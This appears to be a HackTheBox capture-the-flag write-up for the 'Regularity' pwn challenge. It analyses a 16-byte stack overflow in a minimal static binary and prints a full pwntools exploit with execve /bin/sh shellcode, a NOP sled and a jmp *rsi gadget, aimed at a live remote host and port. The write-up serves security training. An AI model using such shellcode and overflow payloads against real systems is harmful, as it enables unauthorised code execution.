Regularity
Regularity
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-29 | Status: Solved Techniques: jmp_rsi_gadget, register_preservation, ret_overwrite, shellcode_injection
Summary
Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260129_htb_regularity - Tags: buffer_overflow, x86_64, shellcode, stack_executable, static_binary
- Indicators: NX disabled, executable stack, RWX segments, static binary, no canary
- Source:
20260129_htb_regularity.md
Foothold
Vulnerability / Misconfiguration
- Jmp_rsi_gadget
- Register_preservation
- Ret_overwrite
- Shellcode_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- jmp_rsi_gadget
- register_preservation
- ret_overwrite
- shellcode_injection
- Tags: buffer_overflow, x86_64, shellcode, stack_executable, static_binary
Original Writeup
<details><summary>Click to expand original content</summary>Description
Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...
Remote: nc 94.237.61.248 42609
Files
regularity- ELF 64-bit LSB executable, x86-64, statically linked, not strippedflag.txt- Fake flag for local testing
Analysis
Binary Properties
$ checksec regularity
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Key observations:
- No stack canary - buffer overflow possible
- Executable stack - shellcode execution possible
- No PIE - fixed addresses, gadgets at known locations
- Statically linked - minimal attack surface but predictable layout
Disassembly
The binary is a minimal assembly program:
_start (0x401000): - Prints "Hello, Survivor. Anything new these days?" - Calls read function - Prints "Yup, same old same old here as well..." - Jumps to exit via jmp *rsi read (0x40104b): subq $0x100, %rsp # Allocate 256 bytes on stack movl $0x0, %eax # syscall number 0 (read) movl $0x0, %edi # fd = 0 (stdin) leaq (%rsp), %rsi # RSI = buffer address on stack movl $0x110, %edx # count = 272 bytes <-- VULNERABILITY! syscall addq $0x100, %rsp # Restore stack (256 bytes) ret # Return to caller write (0x401043): - Standard write syscall wrapper exit (0x40106f): - exit(0) syscall
Vulnerability
Classic stack buffer overflow in the read function:
| Stack Layout | Size |
|---|---|
| Buffer | 256 bytes (0x100) |
| Saved RBP | 8 bytes |
| Return Address | 8 bytes |
The function:
- Allocates 256 bytes on stack
- Reads 272 bytes (0x110) - 16 bytes overflow
- Overflow allows overwriting return address
Key Gadget
At address 0x401041 there's a powerful gadget:
0x401041: jmp *rsi
Why this matters:
- After the
readsyscall, RSI still points to our input buffer - Linux syscalls preserve RSI (it's a callee-saved register for syscalls)
- By returning to this gadget, we jump directly to our controlled buffer
Exploitation Strategy
+------------------+
| Shellcode | <- RSI points here after read
| (29 bytes) |
+------------------+
| NOP sled |
| (227 bytes) |
+------------------+
| jmp *rsi gadget | <- Return address (0x401041)
| (8 bytes) |
+------------------+
Flow: read() returns -> jmp *rsi -> shellcode executes
- Place shellcode at buffer start (where RSI points)
- Pad with NOPs to reach 256 bytes
- Overwrite return address with
jmp *rsigadget - On return, gadget executes, jumping to our shellcode
- Shellcode spawns
/bin/sh
Solution
#!/usr/bin/env python3
"""
Regularity - HackTheBox PWN
Stack buffer overflow with jmp *rsi gadget
Vulnerability: read() allocates 256 bytes but reads 272 bytes
Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
# execve("/bin/sh") shellcode - 29 bytes
# Source: shell-storm.org/shellcode/files/shellcode-905.html
shellcode = (
b"\x6a\x42" # push 0x42
b"\x58" # pop rax
b"\xfe\xc4" # inc ah (rax = 0x3b = execve)
b"\x48\x99" # cqo (rdx = 0)
b"\x52" # push rdx (null terminator)
b"\x48\xbf\x2f\x62\x69" # movabs rdi, "/bin//sh"
b"\x6e\x2f\x2f\x73\x68"
b"\x57" # push rdi
b"\x54" # push rsp
b"\x5e" # pop rsi
b"\x49\x89\xd0" # mov r8, rdx
b"\x49\x89\xd2" # mov r10, rdx
b"\x0f\x05" # syscall
)
# Gadget: jmp *rsi at 0x401041
# After read syscall, RSI still points to our buffer
JMP_RSI = 0x401041
def exploit(target):
if target == 'local':
p = process('./regularity')
else:
p = remote('94.237.61.248', 42609)
# Build payload
payload = shellcode # Shellcode at buffer start (29 bytes)
payload = payload.ljust(256, b'\x90') # Pad to 256 bytes with NOPs
payload += p64(JMP_RSI) # Overwrite return address
log.info(f"Payload size: {len(payload)} bytes")
log.info(f"Shellcode size: {len(shellcode)} bytes")
log.info(f"Gadget address: {hex(JMP_RSI)}")
# Send payload
p.recvuntil(b'days?')
p.send(payload)
# Wait for shell
sleep(0.5)
# Get flag
p.sendline(b'cat flag.txt')
response = p.recvall(timeout=3)
print(response.decode())
p.close()
if __name__ == '__main__':
import sys
target = sys.argv[1] if len(sys.argv) > 1 else 'remote'
exploit(target)
Execution
$ python3 solve.py remote
[+] Opening connection to 94.237.61.248 on port 42609: Done
[*] Payload size: 264 bytes
[*] Shellcode size: 29 bytes
[*] Gadget address: 0x401041
HTB{REDACTED}
Lessons Learned
-
Challenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight
-
Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data
-
Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques
-
Gadget hunting: Even tiny binaries can contain useful gadgets -
jmp *rsiis powerful when you control the buffer and know register state -
Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation
References
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR